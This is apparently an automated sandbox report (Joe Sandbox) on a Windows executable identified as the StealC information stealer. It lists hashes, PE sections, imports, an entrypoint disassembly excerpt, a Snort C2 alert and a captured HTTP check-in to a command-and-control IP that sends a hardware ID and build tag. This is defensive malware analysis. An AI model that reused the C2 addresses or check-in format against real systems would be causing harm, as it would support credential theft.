Sample name:	mrkjKujfkP.exe renamed because original name is a hash value
Original Sample Name:	ec37b9184eb3457fff8057affeb6ffd5.exe
Detection:	MAL
Classification:	mal92.troj.evad.winEXE@2/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 93% Number of executed functions: 18 Number of non-executed functions: 59
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
91.206.178.118	vR19oQpY8c.exe	Get hash	malicious	Stealc	Browse	91.206.178.118/a9d06ea3fe859ab7/vcruntime140.dll

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ARTNET2PL	vR19oQpY8c.exe	Get hash	malicious	Stealc	Browse	91.206.178.118
	sql.tmp.dll.dll	Get hash	malicious	Unknown	Browse	91.206.178.125
	UrQrIdRfCg.exe	Get hash	malicious	Unknown	Browse	185.104.112.62
	http://tldbonak.com	Get hash	malicious	Unknown	Browse	91.206.178.97
	7ECHtNYRdu.exe	Get hash	malicious	Vidar	Browse	185.104.114.24
	Wi50Ux1Ats.exe	Get hash	malicious	Vidar	Browse	185.104.114.24
	Divergencias.exe	Get hash	malicious	Maxtrilha	Browse	185.104.113.156
	Divergencias.exe	Get hash	malicious	Maxtrilha	Browse	185.104.113.156
	arm7.light	Get hash	malicious	Mirai	Browse	185.104.117.9

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	6.888097857945214
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	mrkjKujfkP.exe
File size:	310'272 bytes
MD5:	ec37b9184eb3457fff8057affeb6ffd5
SHA1:	4c9c17d1874a44e9708976736620b75d033274de
SHA256:	152e23b6a0f48147c40ceef6fb08f9702ff4da2fee7fbea4afe5c7c6b2cd35b0
SHA512:	7506a0ce7484331833399aecec9741736ed03787f938b44641f42999684fa3c02a6bc21ec30c5c11e5fd7276e89430cad9d383cc4be6ea9cc0a469323d39b790
SSDEEP:	6144:tUMOLNJ5l10oVJ4C3CO2uWGcTATRsYQiANCpUxEJKWc+T5omu7Uk9NTeeqKuje/K:mxLt0K4C3CO2uWGcTATRsYQiANCpUsKw
TLSH:	B6646B20A6E4B561C003F4334F7DE9EFA73A6512A7166DFA09C607B0BED1E986B35704
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<j..o..A/..$.......u..uv.}.....t0...S...LHO~ ..QP.dl`G......<%e%.I. ..Q#....b.....%...z.v..:a&.....N\.................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x404318
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x65C0A2A6 [Mon Feb 5 08:56:06 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	382a4d7b99200ee7e9686d1f1cde0258

Entrypoint Preview

Instruction
call 00007FAC6106A3BAh
jmp 00007FAC61069F39h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 00445360h
mov dword ptr [ecx], 00445308h
ret
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007FAC6106A09Fh
push 0044A74Ch
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007FAC6106B189h
int3
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007FAC61069570h
push 0044A66Ch
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007FAC6106B16Ch
int3
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007FAC6106A0DBh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007FAC6106A0CCh
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007FAC6106A0CEh
add edx, 28h
cmp edx, esi
jne 00007FAC6106A0ACh
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007FAC6106A0BBh
push esi
call 00007FAC6106A820h
test eax, eax
je 00007FAC6106A0E2h
mov eax, dword ptr fs:[00000018h]
mov esi, 0044CA30h
mov edx, dword ptr [eax+04h]
jmp 00007FAC6106A0C6h
cmp edx, eax
je 00007FAC6106A0D2h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4ad24	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4e000	0x1030	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x49fb0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x49ef0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x12000	0x130	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xffd3	0x10000	fb89902177544741f273b78d49fd5c1d	False	0.605316162109375	data	6.610824596118242	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.1eKI8	0x11000	0x54b	0x600	0f20743dbc3ff418db3d78aaf005bb6f	False	0.7135416666666666	data	5.410549386593947	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x12000	0x393e2	0x39400	94acc79cda5eb42e4316a6ee370b8313	False	0.4073672898471616	data	6.59184787735665	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x4c000	0x146c	0xc00	fe5e59a519c227296e1ac96c8f8255ca	False	0.16243489583333334	data	2.1644385139883653	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x4e000	0x1030	0x1200	3af010183f1a572cf86319934d76d1a5	False	0.7098524305555556	data	6.223006267344559	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

KERNEL32.dll

VirtualProtect, GetModuleHandleA, GetProcAddress, VirtualAlloc, LoadLibraryA, lstrlenW, CreateThread, Sleep, WaitForSingleObject, FreeConsole, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, IsProcessorFeaturePresent, GetModuleHandleW, GetCurrentProcess, TerminateProcess, WriteConsoleW, RaiseException, RtlUnwind, GetLastError, SetLastError, EncodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, GetCommandLineA, GetCommandLineW, HeapAlloc, HeapFree, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableW, SetStdHandle, GetFileType, GetStringTypeW, CompareStringW, LCMapStringW, GetProcessHeap, HeapSize, HeapReAlloc, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, SetFilePointerEx, CreateFileW, CloseHandle, DecodePointer

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.591.206.178.11849705802044243 02/05/24-10:47:04.601026	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49705	80	192.168.2.5	91.206.178.118

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 5, 2024 10:47:04.376053095 CET	49705	80	192.168.2.5	91.206.178.118
Feb 5, 2024 10:47:04.599847078 CET	80	49705	91.206.178.118	192.168.2.5
Feb 5, 2024 10:47:04.599977970 CET	49705	80	192.168.2.5	91.206.178.118
Feb 5, 2024 10:47:04.601026058 CET	49705	80	192.168.2.5	91.206.178.118
Feb 5, 2024 10:47:04.824857950 CET	80	49705	91.206.178.118	192.168.2.5
Feb 5, 2024 10:47:04.829705000 CET	80	49705	91.206.178.118	192.168.2.5
Feb 5, 2024 10:47:04.829773903 CET	49705	80	192.168.2.5	91.206.178.118
Feb 5, 2024 10:47:06.493103027 CET	49705	80	192.168.2.5	91.206.178.118

HTTP Request Dependency Graph

91.206.178.118

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	91.206.178.118	80	2148	C:\Users\user\Desktop\mrkjKujfkP.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:47:04.601026058 CET	410	OUT	POST /31b57f88e9b186cd.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCFIDAFBFBAKFHJEGIJ Host: 91.206.178.118 Content-Length: 209 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 46 44 34 39 46 45 37 32 39 39 31 33 31 32 36 34 37 36 39 37 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 45 55 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 2d 2d 0d 0a Data Ascii: ------EGCFIDAFBFBAKFHJEGIJContent-Disposition: form-data; name="hwid"90FD49FE72991312647697------EGCFIDAFBFBAKFHJEGIJContent-Disposition: form-data; name="build"EU------EGCFIDAFBFBAKFHJEGIJ--
Feb 5, 2024 10:47:04.829705000 CET	178	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:47:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 8 Connection: keep-alive Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	10:47:02
Start date:	05/02/2024
Path:	C:\Users\user\Desktop\mrkjKujfkP.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\mrkjKujfkP.exe
Imagebase:	0xcc0000
File size:	310'272 bytes
MD5 hash:	EC37B9184EB3457FFF8057AFFEB6FFD5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2053299883.0000000000AEE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	10:47:03
Start date:	05/02/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report mrkjKujfkP.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Memory Usage

Windows Analysis Report
mrkjKujfkP.exe